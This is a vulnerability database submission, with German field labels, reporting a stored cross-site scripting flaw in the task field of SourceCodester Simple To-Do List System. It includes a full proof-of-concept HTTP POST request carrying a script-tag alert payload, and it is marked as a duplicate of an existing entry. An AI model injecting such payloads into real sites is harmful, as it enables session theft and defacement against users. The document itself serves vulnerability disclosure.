| Titel | SourceCodester Simple To-Do List System 0 Cross Site Scripting |
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| Beschreibung | Simple To-Do List System is vulnerable to Stored Cross Site Scripting due to missing input validation. POST Request is provided as below where the Task Parameter is vulnerable to this as the data supplied to the variable is not being sanitized properly leading the JS and HTML tags to be stored on the backend system that then renders back on the dashboard proving that the vulnerability exists in the system.
POST /add_task.php HTTP/1.1
Host: dr-batata.local
Cookie: PHPSESSID=par857rlj9b75j5a8lf7rgupoe
Content-Length: 63
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not)A;Brand";v="8", "Chromium";v="138"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://dr-batata.local
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://dr-batata.local/index.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
task=%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E&due_date=2025-09-20 |
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| Quelle | ⚠️ https://youtu.be/A-3KY5E8nOg |
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| Benutzer | Kamran Saifullah (UID 4218) |
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| Einreichung | 20.09.2025 14:40 (vor 1 Jahr) |
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| Moderieren | 26.09.2025 11:46 (6 days later) |
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| Status | Duplikat |
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| VulDB Eintrag | 323087 [SourceCodester Simple To-Do List System 1.0 Add New Task /fetch_tasks.php Cross Site Scripting] |
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| Punkte | 0 |
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